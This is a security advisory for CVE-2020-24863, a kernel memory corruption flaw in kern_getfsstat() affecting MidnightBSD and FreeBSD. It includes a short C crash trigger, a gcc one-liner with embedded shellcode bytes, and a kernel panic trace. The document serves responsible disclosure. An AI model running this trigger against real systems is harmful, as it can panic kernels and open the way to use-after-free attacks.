Memory Corruption Vulnerability in MidnightBSD Kernel CVE-2020-24863 INTRODUCTION A memory corruption vulnerability was found in the latest stable version of MidnightBSD (also demonstrated to affect previous versions and to potentially affect other *BSDs). The vulnerability happens in the kern_getfsstat(). Back in 2017, Paulo reported the same issue to FreeBSD, but no actions were taken. Rodrigo independently found it a bit later, but since Paulo had already reported, no actions were taken. A year later, there was an official errata for the issue [1], crediting Thomas Barabosch and Fraunhofer FKIE, who independently Found and report it, finally gaining attention. The problem is the errata wrongly assume the issue to be a null pointer dereference (likely because of the trigger at the time), and the fix was therefore incomplete. The issue received CVE-2018-17154. Indeed, from the diff on the 11.1 [2] a check for buf==NULL was added in line 644. 'buf' was supposedly NULL when an invalid mode was used (and not because of a malloc allocation failure, since WAITOK guarantees that malloc will always return a valid memory). While analyzing why the fix did not make it into the FreeBSD 12 STABLE branch [3] we tried to first trigger the issue in an older 11-eng kernel. Once we've managed to do that, we've root caused the issue and managed to trigger it in the latest 11.4 branch as well (see DETAILS section). We believe all versions are affected. We also found a fix proposed for FreeBSD 12.1 [4] that sets buf to NULL before returning, and incorporates the check for buf == NULL upon returning. That fix addresses the issue completely. CVSSv3 Scoring System The CVSS score is: 7.4 We have used the following values to calculate the scores: Base score is: AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H DISCLOSURE PROCESS We are sharing this advisory to the security teams of: - FreeBSD - MidnightBSD By looking at the source code of OpenBSD,cNetBSD and DragonFlyBSD, they are not affected (the code is very different). MidnightBSD does not have a freebsd4_getfsstat() but the kern_getfsstat() is the same as in FreeBSD, so we plan to inform them. Once we hear from the teams, we plan to update the advisory with more accurate data (and potentially timelines). We kindly ask everyone to hold the patches until we hear back from all the potentially affected BSDs. We intend to have the full cycle of fixes in 90 days, unless we receive compelling reasons. TRIGGERING THE PROBLEM The trigger code is small enough that it fits in the advisory: ----------------- BEGIN crash.c ----------------- #include #include int main(void) { syscall(18, 0, 305, 9); return 0; } ----------------- END crash.c ----------------- DETAILS We've tested our crash code in the following system: $ uname -a FreeBSD host 11.4-RELEASE FreeBSD 11.4-RELEASE #0 r362094: Fri Jun 12 18:27:15 UTC 2020 root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64 Essentially if size >= 304 (we've used 305 in the code) and an invalid mode is used (we've used 9), we have a memory corruption due to a free() that happens in the variable 'buf' that was never allocated with 'malloc' (but is a pointer to a struct and kern_getfsstat() is Responsible to allocate space for it). Since the value for the pointer is uninitialized, previous kernel stack value is used and the corruption is hard to predict (an attacker is able to create the right conditions and potentially trigger a free() of a valid object, leading to a use-after-free scenario in other parts of the kernel). Notice that the original fix, which checks for buf != NULL only prevents a scenario in which buf ends up in a stack value that is 0 (likely the original trigger had that condition for whatever reasons). Here is a trace of the crash: Fatal trap 12: page fault while in kernel mode cpuid =1; apic id = 01 fault virtual address = 0xffff8040000e4198 fault code = supervisor read data, page not present instruction pointer = 0x20:0xffffffff80f65fa9 stack pointer = 0x28:0xfffffe00002e48f0 frame pointer = 0x28:0xfffffe00002e48f0 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, long 1, def32 0, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 1536 (crash) trao number = 12 panic: page fault cpuid = 1 KDB: stack backtrace: #0 0xffffffff80b3d567 at kdb_backtrace+0x67 #1 0xffffffff80af6b07 at vpanic+0x177 #2 0xffffffff80af6983 at panic+0x43 #3 0xffffffff80f77faf at trap_fatal+0x35f #4 0xffffffff80f78009 at trap_pfault+0x49 #5 0xffffffff80f777d7 at trap+0x2c7 #6 0xffffffff80f5769c at calltrap+0x8 #7 0xffffffff80ad32b0 at free+0x30 #8 0xffffffff80bc1bf9 at freebsd4_getfsstat+0x119 #9 0xffffffff80f79038 at amd64_syscall+0xa38 #10 0xffffffff80f57eed at fast_syscall_common+0x101 Notice that sometimes the crash is not immediate (due to the non-deterministic stack state created by our code), but just by playing with the system it will happen. A more deterministic one is to use the same code with truss: echo 'const char main[]="\x6a\x12\x58\x31\xff\x54\x5e\x31\xd2\x0f\x05";' | gcc -xc -ocrash - ;truss ./crash TIMELINE This timeline will be updated once we start hearing back from the different teams. -> Initial disclosure to FreeBSD/MidnightBSD - 06/19/2020 -> Patched in both FreeBSD (FreeBSD-EN-20:18.getfsstat) and MidnightBSD 1.2.7 and 1.3-CURRENT CREDITS This vulnerability was discovered and exploited by Paulo Henrique L. Amorim (Independent Security Researcher) and Rodrigo Rubira Branco (BSDaemon) (Amazon Web Services). REFERENCES [1] FreeBSD Errata. "NULL pointer dereference in freebsd4_getfsstat system call". Link: https://www.freebsd.org/security/advisories/FreeBSD-EN-18:10.syscall.asc [2] FreeBSD Code Diff. "Diff of /releng/11.1/sys/kern/vfs_syscalls.c". Link: https://svnweb.freebsd.org/base/releng/11.1/sys/kern/vfs_syscalls.c?r1=338979&r2=338978&pathrev=338979 [3] FreeBSD Code. "Stable Branch". Link: http://fxr.watson.org/fxr/source/kern/vfs_syscalls.c?v=FREEBSD-12-STABLE#L599 [4] FreeBSD Code Diff. "Diff of /head/sys/kern/vfs_syscalls.c" Link: https://svnweb.freebsd.org/base/head/sys/kern/vfs_syscalls.c?r1=311286&r2=311285&pathrev=311286